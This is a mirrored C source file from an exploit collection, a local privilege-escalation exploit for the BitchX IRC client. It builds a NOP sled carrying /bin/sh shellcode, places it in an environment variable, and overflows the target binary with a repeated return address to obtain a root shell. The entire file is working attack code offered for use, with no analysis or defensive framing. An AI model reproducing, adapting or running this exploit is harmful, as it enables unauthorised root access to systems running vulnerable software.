home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bitchx / bitchx1.0e19.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  70 lines

  1. // BitchX local-root by Sha0 (version 1.0c19 e inferiores -todas-)
  2. // este exploit se lo dedico a mi chica.
  3. // 0xC0000000-4-strlen(argv[1])-1-strlen(buffer)
  4. // 2052 to the ret
  5.  
  6. #include <stdio.h>
  7. #include <string.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10.  
  11. char payload[69];
  12. char sha0code[] =
  13.  "\xeb\x16\x5b\x31\xc0"
  14.  "\x50\x53\xb0\x0b\x89"
  15.  "\xdb\x89\xe1\x31\xd2"
  16.  "\xcd\x80\x31\xc0\x40"
  17.  "\x31\xdb\xcd\x80\xe8"
  18.  "\xe5\xff\xff\xff\x2f"
  19.  "\x62\x69\x6e\x2f\x73\x68";
  20.  
  21.  
  22. void nopea (void);
  23.  
  24. int main (int argc, char **argv) {
  25.  
  26.  char *buff;
  27.  char *arg1="bash";
  28.  char *arg2="-c";
  29.  char *arg[]={arg1,arg2,buff,NULL};
  30.  char *env[]={"TERM=xterm",payload,NULL};
  31.  char offset[]="";
  32.  char sret[4];
  33.  unsigned long lret;
  34.  int i;
  35.  
  36.  if (argc != 2) {
  37.   fprintf (stdout,"BitchX exploit Coded By Sha0\n");
  38.   fprintf (stdout,"ej: %s /usr/bin/BitchX\n\n",argv[0]);
  39.   return (1);
  40.  }
  41.  
  42.  buff = (char *)malloc (2100);
  43.  bzero (buff,sizeof(buff));
  44.  arg[2] = buff;
  45.  
  46.  nopea ();
  47.  
  48.  lret = 0xbffffffa - strlen(payload) - strlen(argv[1]);
  49.  sret[0] = (0x000000ff & lret);
  50.  sret[1] = (0x0000ff00 & lret) >> 8;
  51.  sret[2] = (0x00ff0000 & lret) >> 16;
  52.  sret[3] = (0xff000000 & lret) >> 24;
  53.  
  54.  for (i=0;i<2088;i+=4) // 2088 tirando largo.
  55.   memcpy (buff+i,sret,4);
  56.  
  57.  execve (argv[1],arg,env);
  58.  perror ("execve()");
  59.  
  60.  free (buff);
  61.  return (0);
  62. }
  63.  
  64.  
  65. void nopea (void) {
  66.         bzero (payload,sizeof(payload));
  67.         memset (payload,0x90,sizeof(payload)-1);
  68.         memcpy (payload+sizeof(payload)-strlen(sha0code)-1,sha0code,strlen(sha0code));
  69. }
  70.